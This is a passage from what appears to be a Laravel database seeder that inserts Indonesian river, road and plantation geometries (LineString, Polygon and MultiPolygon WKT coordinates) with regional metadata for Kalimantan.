122.04828505164508,-1.4394801040205623 122.05341067664986,-1.439064354020175 122.05419117665059,-1.4379613540191478 122.05576542665204,-1.4367949790180614 122.05672230165294,-1.4345156040159386 122.05734230165352,-1.4339456040154077 122.05718530165338,-1.432425479013992 122.0562439266525,-1.4307693540124498 122.05454830165091,-1.4287154790105367 122.05364505165008,-1.426336104008321 122.05290280164938,-1.423848229006004 122.05245955164897,-1.4218219790041167 122.05240205164891,-1.4195426040019938 122.05279330164929,-1.416837978999475 122.05341542664986,-1.414766728997546 122.05405617665046,-1.4125598539954907 122.05472117665107,-1.410271103993359 122.05465305165102,-1.4082263539914548 122.05365805165009,-1.406515978989862 122.0520543016486,-1.40508572898853 122.04952205164624,-1.4041982289877033 122.04738642664425,-1.4032747289868432 122.04552630164251,-1.4019353539855959 122.04390930164101,-1.3999357289837335 122.04301680164018,-1.39564747897974 122.04176980163902,-1.3851891039699997 122.03872630163617,-1.376250603961675 122.03615480163378,-1.367854853953856 122.03347792663129,-1.363738353950022 122.03212680163003,-1.3615128539479495 122.0316584266296,-1.3592148539458093 122.03072105162873,-1.3556499789424894 122.02882880162696,-1.3543196039412502 122.02745217662569,-1.3532694789402724 122.02551330162387,-1.3518204789389228 122.02119505161986,-1.350932853938096 122.01850005161734,-1.3500546039372783 122.01657042661554,-1.3482802289356257 122.01299967661222,-1.3471577289345802 122.01124280161058,-1.3451759789327347 122.00942380160889,-1.3439633539316054 122.00838880160792,-1.342723978930451 122.0082461766078,-1.3420456039298192 122.0082501766078,-1.3414486039292632 122.00829880160785,-1.340761103928623 122.008474426608,-1.3401279789280334 122.00861555160814,-1.3395219789274688 122.00872142660823,-1.616370229185304 122.06281392665862),(-1.3390426039270225 122.0087815516083,-1.338707978926711 122.00890967660841,-1.338029603926079 122.00902742660853,-1.3374506039255398 122.00892692660842,-1.3367448539248825 122.00866842660818,-1.3356409789238544 122.00817280160773,-1.3352879789235257 122.00752442660712,-1.3352877289235254 122.00673317660639,-1.3356853539238958 122.00594180160564,-1.3354859789237101 122.00485430160464,-1.334300478922606 122.00386530160371,-1.3331156039215024 122.00386505160371,-1.3307364789192868 122.0039640516038,-1.3303474789189245 122.0040626766039,-1.329352728917998 122.00455730160436,-1.3278694789166168 122.005249551605,-1.3266847289155133 122.00584280160555,-1.3251018539140391 122.00633780160602,-1.3239169789129357 122.0066344266063,-1.3226324789117394 122.00673342660639,-1.3216373539108126 122.0066341766063,-1.3213387289105345 122.00633780160602,-1.320054103909338 122.00604080160574,-1.3192672289086051 122.00633780160602,-1.3183719789077715 122.00683217660648,-1.3158487289054215 122.00828755160784,-1.3153512289049583 122.00854217660807,-1.314962353904596 122.00866992660819,-1.3145643539042253 122.00877542660828,-1.3141392289038294 122.00877717660829,-1.3138587289035681 122.00875555160827,-1.3135963539033237 122.00864255160816,-1.3134153539031552 122.0083578016079,-1.3133157289030624 122.00796930160753,-1.3132522289030033 122.00760355160719,-1.3131616039029188 122.00719217660681,-1.3131433539029018 122.00678067660643,-1.3130346039028007 122.00650667660618,-1.3128174789025984 122.006313301606,-1.3125279789023288 122.00614267660583,-1.3122023539020256 122.00609880160579,-1.3118767289017224 122.00618055160587,-1.311505978901377 122.00639942660608,-1.3094438538994564 122.00738330160699,-1.3066943538968958 122.0085766766081,-1.3044242288947816 122.00946692660894,-1.3030403538934927 122.0098623016093,-1.3017466038922878 122.00956555160903,-1.3007602288913693 122.00877467660828,-1.299972978890636 122.00778542660737,-1.2994751038901724 122.00699417660663,-1.298389353889161 122.00630180160599,-1.2972042288880574 122.0062028016059,-1.2957207288866759 122.0062028016059,-1.294237103885294 122.00580717660553,-1.2932413538843668 122.00442267660424,-1.292851853884004 122.00293905160285,-1.292652228883818 122.00125755160128,-1.2926336038838007 121.99993880160005,-1.292542603883716 121.99861255159882,-1.2924701038836484 121.99828067659851,-1.2923253538835136 121.99799442659824,-1.2921623538833618 121.99778642659805,-1.2918999788831176 121.99760242659788,-1.291610478882848 121.99757655159786,-1.2875671038790821 121.99792317659818,-1.2871329788786778 121.99805742659831,-1.2867892288783578 121.99813455159838,-1.2865087288780965 121.99808667659833,-1.2860654788776837 121.9979570515982,-1.2857216038773633 121.99774967659802,-1.2852059788768833 121.99737955159767,-1.2845091038762342 121.99681442659715,-1.2838486038756192 121.99614630159653,-1.2835408538753323 121.99579017659619,-1.2830791038749023 121.99489530159536,-1.2829343538747675 121.99464292659512,-1.2825271038743884 121.99421705159473,-1.2820384788739332 121.99390455159444,-1.2814051038733434 121.99354592659411,-1.2809618538729306 121.99324505159382,-1.280545603872543 121.99291092659351,-1.2802287288722478 121.99239430159304,-1.2800567288720877 121.99198180159264,-1.2799661038720032 121.99159255159229,-1.2799839788720198 121.9911695515919,-1.2801557288721799 121.99079442659153,-1.2805806038725756 121.9903290515911,-1.2808248538728029 121.99006805159087,-1.3390426039270225 122.0087815516083)))')\"),\n\t\t\t'status' => 'a'\n ]);\n\n SpatialData::create([\n 'name'=> 'Sungai Multi line',\n 'restricted_area'=> '12947812382132',\n 'island' => 'Kalimantan',\n 'province' => 'Kal-Sel',\n 'city' => 'Banjarmasin',\n 'type'=> 'Road',\n 'desc'=> 'data HTI terjadi',\n 'created_by'=> 1,\n 'polygon' => DB::raw(\"GeomFromText('MultiLineString((-1.616370229185304 122.06281392665862,-1.6142618541833404 122.06148192665738,-1.6124338541816379 122.06006242665605,-1.6087869791782414 122.05716767665335,-1.6067961041763874 122.05555230165186,-1.6035746041733872 122.05293442664941,-1.6018551041717857 122.05149330164807,-1.5992939791694005 122.04899492664575,-1.594361729164807 122.04421492664129,-1.5907962291614863 122.04126292663854,-1.5856832291567244 122.03705417663463,-1.5841088541552582 122.03610555163374,-1.5768066041484574 122.03181330162974,-1.5741193541459548 122.03034267662838,-1.5725089791444549 122.029931926628,-1.5711247291431658 122.0296248016277,-1.568103354140352 122.02947905162758,-1.5673707291396697 122.02953042662762,-1.565055104137513 122.02980117662787,-1.5627123541353312 122.03002542662807,-1.5540914791273024 122.02995630162802,-1.5473702291210427 122.0298303016279,-1.5434443541173863 122.03000967662807,-1.5361534791105962 122.03013280162818,-1.5333402291079763 122.03020517662824,-1.531929104106662 122.03043592662846,-1.5294597291043623 122.03081892662881,-1.527216479102273 122.03110117662908,-1.526637604101734 122.03125780162922,-1.525353354100538 122.0317635516297,-1.51719522909294 122.03476230163248,-1.5110088540871784 122.0371333016347,-1.5097516040860075 122.03743355163498,-1.5059978540825116 122.03835730163584,-1.501945854078738 122.0393934266368,-1.5009779790778366 122.03953592663693,-1.5000009790769266 122.03961980163702,-1.4972607290743745 122.04100980163831,-1.4963923540735657 122.04126930163855,-1.4952798540725298 122.04137667663865,-1.4945108540718135 122.04139067663866,-1.4939048540712492 122.04146517663874,-1.4929551040703646 122.04171717663897,-1.4922857290697413 122.04179242663903,-1.4913902290689072 122.04182767663907,-1.4904039790679888 122.0413326766386,-1.4887209790664213 122.04022355163758,-1.4867572290645925 122.03870005163616,-1.4841782290621905 122.03651592663412,-1.4827212290608336 122.03537505163305,-1.4809928540592239 122.03365530163146,-1.4794541040577909 122.03164080162958,-1.4788928540572681 122.0306954266287,-1.4783768540567876 122.02997867662803,-1.477879229056324 122.0295139266276,-1.4751102290537452 122.02733917662557,-1.4747209790533828 122.02677030162505,-1.4743949790530793 122.02610980162443,-1.4739149790526322 122.0247986766232,-1.4737607290524886 122.02379392662228,-1.4730723540518473 122.02170805162034,-1.4719492290508014 122.01832155161718,-1.471225104050127 122.01753705161644,-1.470799854049731 122.01714005161608,-1.4701302290491074 122.0166414266156,-1.4695238540485427 122.01621117661522,-1.4678591040469922 122.01523955161431,-1.4656786040449614 122.0144756766136,-1.4631093540425686 122.01376030161293,-1.4607299790403527 122.01322642661243,-1.4588753540386254 122.01281455161205,-1.456333354036258 122.01251042661177,-1.454098979034177 122.0126605516119,-1.4514308540316923 122.01329442661249,-1.4492963540297044 122.01424530161339,-1.4477771040282894 122.0152374266143,-1.446520479027119 122.017052926616,-1.4455354790262016 122.01911680161791,-1.4447764790254949 122.02129480161994,-1.4443526040251 122.02421430162266,-1.4439013540246797 122.02666555162494,-1.443867229024648 122.03149355162944,-1.4436336040244304 122.03506442663277,-1.4437976040245832 122.03802680163552,-1.443499979024306 122.03999742663737,-1.4428497290237003 122.0426096766398,-1.4423171040232043 122.04482180164186,-1.44108822902206 122.04828505164508,-1.4394801040205623 122.05341067664986,-1.439064354020175 122.05419117665059,-1.4379613540191478 122.05576542665204,-1.4367949790180614 122.05672230165294,-1.4345156040159386 122.05734230165352,-1.4339456040154077 122.05718530165338,-1.432425479013992 122.0562439266525,-1.4307693540124498 122.05454830165091,-1.4287154790105367 122.05364505165008,-1.426336104008321 122.05290280164938,-1.423848229006004 122.05245955164897,-1.4218219790041167 122.05240205164891,-1.4195426040019938 122.05279330164929,-1.416837978999475 122.05341542664986,-1.414766728997546 122.05405617665046,-1.4125598539954907 122.05472117665107,-1.410271103993359 122.05465305165102,-1.4082263539914548 122.05365805165009,-1.406515978989862 122.0520543016486,-1.40508572898853 122.04952205164624,-1.4041982289877033 122.04738642664425,-1.4032747289868432 122.04552630164251,-1.4019353539855959 122.04390930164101,-1.3999357289837335 122.04301680164018,-1.39564747897974 122.04176980163902,-1.3851891039699997 122.03872630163617,-1.376250603961675 122.03615480163378,-1.367854853953856 122.03347792663129,-1.363738353950022 122.03212680163003,-1.3615128539479495 122.0316584266296,-1.3592148539458093 122.03072105162873,-1.3556499789424894 122.02882880162696,-1.3543196039412502 122.02745217662569,-1.3532694789402724 122.02551330162387,-1.3518204789389228 122.02119505161986,-1.350932853938096 122.01850005161734,-1.3500546039372783 122.01657042661554,-1.3482802289356257 122.01299967661222,-1.3471577289345802 122.01124280161058,-1.3451759789327347 122.00942380160889,-1.3439633539316054 122.00838880160792,-1.342723978930451 122.0082461766078,-1.3420456039298192 122.0082501766078,-1.3414486039292632 122.00829880160785,-1.340761103928623 122.008474426608,-1.3401279789280334 122.00861555160814,-1.3395219789274688 122.00872142660823),(-1.3390426039270225 122.0087815516083,-1.338707978926711 122.00890967660841,-1.338029603926079 122.00902742660853,-1.3374506039255398 122.00892692660842,-1.3367448539248825 122.00866842660818,-1.3356409789238544 122.00817280160773,-1.3352879789235257 122.00752442660712,-1.3352877289235254 122.00673317660639,-1.3356853539238958 122.00594180160564,-1.3354859789237101 122.00485430160464,-1.334300478922606 122.00386530160371,-1.3331156039215024 122.00386505160371,-1.3307364789192868 122.0039640516038,-1.3303474789189245 122.0040626766039,-1.329352728917998 122.00455730160436,-1.3278694789166168 122.005249551605,-1.3266847289155133 122.00584280160555,-1.3251018539140391 122.00633780160602,-1.3239169789129357 122.0066344266063,-1.3226324789117394 122.00673342660639,-1.3216373539108126 122.0066341766063,-1.3213387289105345 122.00633780160602,-1.320054103909338 122.00604080160574,-1.3192672289086051 122.00633780160602,-1.3183719789077715 122.00683217660648,-1.3158487289054215 122.00828755160784,-1.3153512289049583 122.00854217660807,-1.314962353904596 122.00866992660819,-1.3145643539042253 122.00877542660828,-1.3141392289038294 122.00877717660829,-1.3138587289035681 122.00875555160827,-1.3135963539033237 122.00864255160816,-1.3134153539031552 122.0083578016079,-1.3133157289030624 122.00796930160753,-1.3132522289030033 122.00760355160719,-1.3131616039029188 122.00719217660681,-1.3131433539029018 122.00678067660643,-1.3130346039028007 122.00650667660618,-1.3128174789025984 122.006313301606,-1.3125279789023288 122.00614267660583,-1.3122023539020256 122.00609880160579,-1.3118767289017224 122.00618055160587,-1.311505978901377 122.00639942660608,-1.3094438538994564 122.00738330160699,-1.3066943538968958 122.0085766766081,-1.3044242288947816 122.00946692660894,-1.3030403538934927 122.0098623016093,-1.3017466038922878 122.00956555160903,-1.3007602288913693 122.00877467660828,-1.299972978890636 122.00778542660737,-1.2994751038901724 122.00699417660663,-1.298389353889161 122.00630180160599,-1.2972042288880574 122.0062028016059,-1.2957207288866759 122.0062028016059,-1.294237103885294 122.00580717660553,-1.2932413538843668 122.00442267660424,-1.292851853884004 122.00293905160285,-1.292652228883818 122.00125755160128,-1.2926336038838007 121.99993880160005,-1.292542603883716 121.99861255159882,-1.2924701038836484 121.99828067659851,-1.2923253538835136 121.99799442659824,-1.2921623538833618 121.99778642659805,-1.2918999788831176 121.99760242659788,-1.291610478882848 121.99757655159786,-1.2875671038790821 121.99792317659818,-1.2871329788786778 121.99805742659831,-1.2867892288783578 121.99813455159838,-1.2865087288780965 121.99808667659833,-1.2860654788776837 121.9979570515982,-1.2857216038773633 121.99774967659802,-1.2852059788768833 121.99737955159767,-1.2845091038762342 121.99681442659715,-1.2838486038756192 121.99614630159653,-1.2835408538753323 121.99579017659619,-1.2830791038749023 121.99489530159536,-1.2829343538747675 121.99464292659512,-1.2825271038743884 121.99421705159473,-1.2820384788739332 121.99390455159444,-1.2814051038733434 121.99354592659411,-1.2809618538729306 121.99324505159382,-1.280545603872543 121.99291092659351,-1.2802287288722478 121.99239430159304,-1.2800567288720877 121.99198180159264,-1.2799661038720032 121.99159255159229,-1.2799839788720198 121.9911695515919,-1.2801557288721799 121.99079442659153,-1.2805806038725756 121.9903290515911,-1.2808248538728029 121.99006805159087))')\"),\n 'status' => 'a'\n ]);\n\n SpatialData::create([\n 'name'=> 'Sungai Single Line',\n 'restricted_area'=> '12947812382132',\n 'type'=> 'River',\n 'island' => 'Kalimantan',\n 'province' => 'Kal-Tim',\n 'city' => 'Berau',\n 'desc'=> 'data HTI terjadi',\n 'created_by'=> 1,\n 'polygon' => DB::raw(\"GeomFromText('LineString(-1.616370229185304 122.06281392665862,-1.6142618541833404 122.06148192665738,-1.6124338541816379 122.06006242665605,-1.6087869791782414 122.05716767665335,-1.6067961041763874 122.05555230165186,-1.6035746041733872 122.05293442664941,-1.6018551041717857 122.05149330164807,-1.5992939791694005 122.04899492664575,-1.594361729164807 122.04421492664129,-1.5907962291614863 122.04126292663854,-1.5856832291567244 122.03705417663463,-1.5841088541552582 122.03610555163374,-1.5768066041484574 122.03181330162974,-1.5741193541459548 122.03034267662838,-1.5725089791444549 122.029931926628,-1.5711247291431658 122.0296248016277,-1.568103354140352 122.02947905162758,-1.5673707291396697 122.02953042662762,-1.565055104137513 122.02980117662787,-1.5627123541353312 122.03002542662807,-1.5540914791273024 122.02995630162802,-1.5473702291210427 122.0298303016279,-1.5434443541173863 122.03000967662807,-1.5361534791105962 122.03013280162818,-1.5333402291079763 122.03020517662824,-1.531929104106662 122.03043592662846,-1.5294597291043623 122.03081892662881,-1.527216479102273 122.03110117662908,-1.526637604101734 122.03125780162922,-1.525353354100538 122.0317635516297,-1.51719522909294 122.03476230163248,-1.5110088540871784 122.0371333016347,-1.5097516040860075 122.03743355163498,-1.5059978540825116 122.03835730163584,-1.501945854078738 122.0393934266368,-1.5009779790778366 122.03953592663693,-1.5000009790769266 122.03961980163702,-1.4972607290743745 122.04100980163831,-1.4963923540735657 122.04126930163855,-1.4952798540725298 122.04137667663865,-1.4945108540718135 122.04139067663866,-1.4939048540712492 122.04146517663874,-1.4929551040703646 122.04171717663897,-1.4922857290697413 122.04179242663903,-1.4913902290689072 122.04182767663907,-1.4904039790679888 122.0413326766386,-1.4887209790664213 122.04022355163758,-1.4867572290645925 122.03870005163616,-1.4841782290621905 122.03651592663412,-1.4827212290608336 122.03537505163305,-1.4809928540592239 122.03365530163146,-1.4794541040577909 122.03164080162958,-1.4788928540572681 122.0306954266287,-1.4783768540567876 122.02997867662803,-1.477879229056324 122.0295139266276,-1.4751102290537452 122.02733917662557,-1.4747209790533828 122.02677030162505,-1.4743949790530793 122.02610980162443,-1.4739149790526322 122.0247986766232,-1.4737607290524886 122.02379392662228,-1.4730723540518473 122.02170805162034,-1.4719492290508014 122.01832155161718,-1.471225104050127 122.01753705161644,-1.470799854049731 122.01714005161608,-1.4701302290491074 122.0166414266156,-1.4695238540485427 122.01621117661522,-1.4678591040469922 122.01523955161431,-1.4656786040449614 122.0144756766136,-1.4631093540425686 122.01376030161293,-1.4607299790403527 122.01322642661243,-1.4588753540386254 122.01281455161205,-1.456333354036258 122.01251042661177,-1.454098979034177 122.0126605516119,-1.4514308540316923 122.01329442661249,-1.4492963540297044 122.01424530161339,-1.4477771040282894 122.0152374266143,-1.446520479027119 122.017052926616,-1.4455354790262016 122.01911680161791,-1.4447764790254949 122.02129480161994,-1.4443526040251 122.02421430162266,-1.4439013540246797 122.02666555162494,-1.443867229024648 122.03149355162944,-1.4436336040244304 122.03506442663277,-1.4437976040245832 122.03802680163552,-1.443499979024306 122.03999742663737,-1.4428497290237003 122.0426096766398,-1.4423171040232043 122.04482180164186,-1.44108822902206 122.04828505164508,-1.4394801040205623 122.05341067664986,-1.439064354020175 122.05419117665059,-1.4379613540191478 122.05576542665204,-1.4367949790180614 122.05672230165294,-1.4345156040159386 122.05734230165352,-1.4339456040154077 122.05718530165338,-1.432425479013992 122.0562439266525,-1.4307693540124498 122.05454830165091,-1.4287154790105367 122.05364505165008,-1.426336104008321 122.05290280164938,-1.423848229006004 122.05245955164897,-1.4218219790041167 122.05240205164891,-1.4195426040019938 122.05279330164929,-1.416837978999475 122.05341542664986,-1.414766728997546 122.05405617665046,-1.4125598539954907 122.05472117665107,-1.410271103993359 122.05465305165102,-1.4082263539914548 122.05365805165009,-1.406515978989862 122.0520543016486,-1.40508572898853 122.04952205164624,-1.4041982289877033 122.04738642664425,-1.4032747289868432 122.04552630164251,-1.4019353539855959 122.04390930164101,-1.3999357289837335 122.04301680164018,-1.39564747897974 122.04176980163902,-1.3851891039699997 122.03872630163617,-1.376250603961675 122.03615480163378,-1.367854853953856 122.03347792663129,-1.363738353950022 122.03212680163003,-1.3615128539479495 122.0316584266296,-1.3592148539458093 122.03072105162873,-1.3556499789424894 122.02882880162696,-1.3543196039412502 122.02745217662569,-1.3532694789402724 122.02551330162387,-1.3518204789389228 122.02119505161986,-1.350932853938096 122.01850005161734,-1.3500546039372783 122.01657042661554,-1.3482802289356257 122.01299967661222,-1.3471577289345802 122.01124280161058,-1.3451759789327347 122.00942380160889,-1.3439633539316054 122.00838880160792,-1.342723978930451 122.0082461766078,-1.3420456039298192 122.0082501766078,-1.3414486039292632 122.00829880160785,-1.340761103928623 122.008474426608,-1.3401279789280334 122.00861555160814,-1.3395219789274688 122.00872142660823)')\"),\n 'status' => 'a'\n ]);\n\n SpatialData::create([\n 'name'=> 'Sungai Single Poly',\n 'restricted_area'=> '12947812382132',\n 'type'=> 'HPH',\n 'island' => 'Kalimantan',\n 'province' => 'Kal-Tim',\n 'city' => 'Berau',\n 'desc'=> 'data HTI terjadi',\n 'created_by'=> 1,\n 'polygon' => DB::raw(\"GeomFromText('Polygon((-1.616370229185304 122.06281392665862,-1.6142618541833404 122.06148192665738,-1.6124338541816379 122.06006242665605,-1.6087869791782414 122.05716767665335,-1.6067961041763874 122.05555230165186,-1.6035746041733872 122.05293442664941,-1.6018551041717857 122.05149330164807,-1.5992939791694005 122.04899492664575,-1.594361729164807 122.04421492664129,-1.5907962291614863 122.04126292663854,-1.5856832291567244 122.03705417663463,-1.5841088541552582 122.03610555163374,-1.5768066041484574 122.03181330162974,-1.5741193541459548 122.03034267662838,-1.5725089791444549 122.029931926628,-1.5711247291431658 122.0296248016277,-1.568103354140352 122.02947905162758,-1.5673707291396697 122.02953042662762,-1.565055104137513 122.02980117662787,-1.5627123541353312 122.03002542662807,-1.5540914791273024 122.02995630162802,-1.5473702291210427 122.0298303016279,-1.5434443541173863 122.03000967662807,-1.5361534791105962 122.03013280162818,-1.5333402291079763 122.03020517662824,-1.531929104106662 122.03043592662846,-1.5294597291043623 122.03081892662881,-1.527216479102273 122.03110117662908,-1.526637604101734 122.03125780162922,-1.525353354100538 122.0317635516297,-1.51719522909294 122.03476230163248,-1.5110088540871784 122.0371333016347,-1.5097516040860075 122.03743355163498,-1.5059978540825116 122.03835730163584,-1.501945854078738 122.0393934266368,-1.5009779790778366 122.03953592663693,-1.5000009790769266 122.03961980163702,-1.4972607290743745 122.04100980163831,-1.4963923540735657 122.04126930163855,-1.4952798540725298 122.04137667663865,-1.4945108540718135 122.04139067663866,-1.4939048540712492 122.04146517663874,-1.4929551040703646 122.04171717663897,-1.4922857290697413 122.04179242663903,-1.4913902290689072 122.04182767663907,-1.4904039790679888 122.0413326766386,-1.4887209790664213 122.04022355163758,-1.4867572290645925 122.03870005163616,-1.4841782290621905 122.03651592663412,-1.4827212290608336 122.03537505163305,-1.4809928540592239 122.03365530163146,-1.4794541040577909 122.03164080162958,-1.4788928540572681 122.0306954266287,-1.4783768540567876 122.02997867662803,-1.477879229056324 122.0295139266276,-1.4751102290537452 122.02733917662557,-1.4747209790533828 122.02677030162505,-1.4743949790530793 122.02610980162443,-1.4739149790526322 122.0247986766232,-1.4737607290524886 122.02379392662228,-1.4730723540518473 122.02170805162034,-1.4719492290508014 122.01832155161718,-1.471225104050127 122.01753705161644,-1.470799854049731 122.01714005161608,-1.4701302290491074 122.0166414266156,-1.4695238540485427 122.01621117661522,-1.4678591040469922 122.01523955161431,-1.4656786040449614 122.0144756766136,-1.4631093540425686 122.01376030161293,-1.4607299790403527 122.01322642661243,-1.4588753540386254 122.01281455161205,-1.456333354036258 122.01251042661177,-1.454098979034177 122.0126605516119,-1.4514308540316923 122.01329442661249,-1.4492963540297044 122.01424530161339,-1.4477771040282894 122.0152374266143,-1.446520479027119 122.017052926616,-1.4455354790262016 122.01911680161791,-1.4447764790254949 122.02129480161994,-1.4443526040251 122.02421430162266,-1.4439013540246797 122.02666555162494,-1.443867229024648 122.03149355162944,-1.4436336040244304 122.03506442663277,-1.4437976040245832 122.03802680163552,-1.443499979024306 122.03999742663737,-1.4428497290237003 122.0426096766398,-1.4423171040232043 122.04482180164186,-1.44108822902206 122.04828505164508,-1.4394801040205623 122.05341067664986,-1.439064354020175 122.05419117665059,-1.4379613540191478 122.05576542665204,-1.4367949790180614 122.05672230165294,-1.4345156040159386 122.05734230165352,-1.4339456040154077 122.05718530165338,-1.432425479013992 122.0562439266525,-1.4307693540124498 122.05454830165091,-1.4287154790105367 122.05364505165008,-1.426336104008321 122.05290280164938,-1.423848229006004 122.05245955164897,-1.4218219790041167 122.05240205164891,-1.4195426040019938 122.05279330164929,-1.416837978999475 122.05341542664986,-1.414766728997546 122.05405617665046,-1.4125598539954907 122.05472117665107,-1.410271103993359 122.05465305165102,-1.4082263539914548 122.05365805165009,-1.406515978989862 122.0520543016486,-1.40508572898853 122.04952205164624,-1.4041982289877033 122.04738642664425,-1.4032747289868432 122.04552630164251,-1.4019353539855959 122.04390930164101,-1.3999357289837335 122.04301680164018,-1.39564747897974 122.04176980163902,-1.3851891039699997 122.03872630163617,-1.376250603961675 122.03615480163378,-1.367854853953856 122.03347792663129,-1.363738353950022 122.03212680163003,-1.3615128539479495 122.0316584266296,-1.3592148539458093 122.03072105162873,-1.3556499789424894 122.02882880162696,-1.3543196039412502 122.02745217662569,-1.3532694789402724 122.02551330162387,-1.3518204789389228 122.02119505161986,-1.350932853938096 122.01850005161734,-1.3500546039372783 122.01657042661554,-1.3482802289356257 122.01299967661222,-1.3471577289345802 122.01124280161058,-1.3451759789327347 122.00942380160889,-1.3439633539316054 122.00838880160792,-1.342723978930451 122.0082461766078,-1.3420456039298192 122.0082501766078,-1.3414486039292632 122.00829880160785,-1.340761103928623 122.008474426608,-1.3401279789280334 122.00861555160814,-1.3395219789274688 122.00872142660823,-1.616370229185304 122.06281392665862))')\"),\n 'status' => 'a'\n ]);\n\n SpatialData::create([\n 'name'=> 'Sungai Multi Poly 2',\n 'restricted_area'=> '12947812382132',\n 'type'=> 'Plantation',\n 'desc'=> 'data HTI terjadi',\n 'island' => 'Kalimantan',\n 'province' => 'Kal-Sel',\n 'city' => 'Banjarmasin',\n 'created_by'=> 2,\n 'polygon' => DB::raw(\"GeomFromText('MultiPolygon(((\n -8.13925899 112.45184316,-8.138046959999999 112.45172903999999,-8.13649203 112.45155299999999,-8.13556998 112.45150007999999,-8.13446604 112.45143888,-8.13348999 112.45156091999999,-8.13210597 112.45162212,-8.13118302 112.45185108,-8.13025998 112.45254515999999,-8.12967903 112.45330007999999,-8.128701 112.45370507999999,-8.127253979999999 112.45381884,-8.12645001 112.45376592,-8.12529099 112.45428503999999,-8.12482803 112.45503996,-8.12500704 112.45631399999999,-8.12534904 112.45694687999999,-8.125927019999999 112.45729103999999,-8.12708397 112.457466,-8.128124999999999 112.45722984,-8.12864097 112.45682484,-8.12944701 112.45619196,-8.13036996 112.45578803999999,-8.13146499 112.45555115999998,-8.133779969999999 112.45548996,-8.134875 112.45508604,-8.13602403 112.45473503999999,-8.13694797 112.45467384,-8.13793302 112.45467384,-8.13897297 112.45455899999999,-8.140302989999999 112.45449815999999,-8.14093596 112.45443696,-8.14151403 112.45490315999999,-8.14127598 112.45629095999999,-8.140877999999999 112.45669595999999,-8.13966498 112.45739003999999,-8.13787299 112.45779395999999,-8.136371969999999 112.457916,-8.135051039999999 112.457916,-8.13360402 112.45803083999999,-8.13158604 112.45867199999999,-8.13020004 112.45942692,-8.12968299 112.46012099999999,-8.129627999999999 112.46092992,-8.130087 112.46196708,-8.131008959999999 112.46243292,-8.13187701 112.46243292,-8.13245598 112.46248583999999,-8.133033959999999 112.46295203999999,-8.133546959999999 112.46410404,-8.13372498 112.46560704,-8.133777989999999 112.46636195999999,-8.13406599 112.46717088,-8.13458799 112.46797907999999,-8.135112959999999 112.46814683999999,-8.13585501 112.46803308,-8.13660597 112.46756687999999,-8.137421009999999 112.46727815999999,-8.13834297 112.46727815999999,-8.139552029999999 112.46860511999999,-8.14030002 112.47004691999999,-8.14053204 112.47161111999999,-8.14053897 112.47288515999999,-8.14059 112.47438815999999,-8.140877999999999 112.47548687999999,-8.14134501 112.47692903999999,-8.14151403 112.47849287999999,-8.14134897 112.47970607999999,-8.141174999999999 112.48045307999999,-8.14100004 112.48219295999999,-8.141340959999999 112.48334496,-8.142614009999999 112.48449695999999,-8.143536959999999 112.48490088,-8.144058959999999 112.48559603999999,-8.144408969999999 112.48727399999999,-8.14452498 112.48813584,-8.14492701 112.49085996,-8.145042029999999 112.49172216,-8.14486896 112.49264484,-8.144235 112.49305704,-8.14360104 112.49340083999999,-8.14308498 112.49398007999999,-8.14273002 112.49490383999999,-8.14273497 112.49664299999999,-8.14336704 112.49785583999999,-8.14411602 112.49848907999998,-8.14579704 112.49906184,-8.14706298 112.49912303999999,-8.14752504 112.49877203999999,-8.14764303 112.49848187999999,-8.147817 112.49755884,-8.14763799 112.49628408,-8.147349989999999 112.49547587999999,-8.147180969999999 112.49443799999999,-8.14740804 112.49345412,-8.147871989999999 112.49253107999999,-8.14815396 112.49119583999999,-8.14804002 112.48992899999999,-8.14763502 112.48888391999999,-8.147582009999999 112.48796087999999,-8.14769199 112.48721316,-8.14839003 112.48628183999999,-8.14867299 112.48489403999999,-8.147924999999999 112.48351308,-8.147230019999999 112.48287192,-8.14636197 112.48241399999999,-8.14561299 112.48183404,-8.144459999999999 112.47987384,-8.144110979999999 112.47796584,-8.144058959999999 112.47628787999999,-8.14405302 112.47467003999999,-8.14405599 112.47334307999999,-8.14394097 112.47195384,-8.14359096 112.47074099999999,-8.143187039999999 112.46923799999999,-8.142955019999999 112.46767415999999,-8.14255002 112.46652216,-8.14220802 112.46571395999999,-8.141459039999999 112.46455404,-8.14076397 112.46398199999999,-8.139951 112.46357699999999,-8.13938202 112.46299703999999,-8.13908601 112.46172299999999,-8.139258 112.46131908,-8.139783959999999 112.46109012,-8.14110498 112.46091515999998,-8.142434009999999 112.46067792,-8.143991009999999 112.46009795999998,-8.144915039999999 112.45957883999999,-8.145783 112.45911407999999,-8.14838004 112.45871016,-8.14895802 112.45922891999999,-8.149707 112.45986215999999,-8.150517989999999 112.46112792,-8.15086098 112.46176908,-8.15189904 112.46274611999999,-8.15247702 112.46303592,-8.153517959999999 112.46292107999999,-8.15420601 112.46245595999999,-8.154443969999999 112.46129604,-8.154210959999999 112.45974011999999,-8.15368797 112.45870187999999,-8.152415999999999 112.45713803999999,-8.15161302 112.45650515999999,-8.151262019999999 112.45563503999999,-8.151262019999999 112.45529196,-8.151552989999999 112.45488696,-8.15299101 112.45476491999999,-8.15363298 112.45465116,-8.15385996 112.45447512,-8.15391504 112.45361292,-8.153229959999999 112.45280507999999,-8.152362989999999 112.45240007999999,-8.15086098 112.45234715999999,-8.14982103 112.45234715999999,-8.14924197 112.45234715999999,-8.148608999999999 112.45223195999999,-8.14762404 112.45188888,-8.14710996 112.45124807999998,-8.14624299 112.45043915999999,-8.145258029999999 112.45009608,-8.14416399 112.45009608,-8.14324104 112.45062311999999,-8.142434999999999 112.45114115999999,-8.14156596 112.45143096,-8.140526009999999 112.45166783999998,-8.13925899 112.45184316),(-5.220262979999999 119.49253092,-5.22130797 119.49345396,-5.221994039999999 119.49379703999999,-5.22256203 119.49408,-5.223717 119.49459803999999,-5.22475398 119.49523199999999,-5.225390999999999 119.49638399999999,-5.225904 119.49718499999999,-5.226246 119.49741395999999,-5.22682398 119.49765011999999,-5.2272849599999995 119.497536,-5.227866 119.49684912,-5.2282079999999995 119.49507107999999,-5.22786699 119.49420887999999,-5.227462979999999 119.49357599999999,-5.2265429999999995 119.49294311999999,-5.225562 119.49208091999999,-5.22481698 119.49053183999999,-5.22424296 119.48926499999999,-5.224184999999999 119.48812091999999,-5.2240069799999995 119.48720615999999,-5.223439979999999 119.486511,-5.22229401 119.48605307999999,-5.2215440399999995 119.48599187999999,-5.22079299 119.48610708,-5.219465039999999 119.48593104,-5.218254989999999 119.48575607999999,-5.21756703 119.48593104,-5.217212969999999 119.48632812,-5.217048989999999 119.48673203999999,-5.217561 119.48770907999999,-5.218488 119.48868612,-5.218883999999999 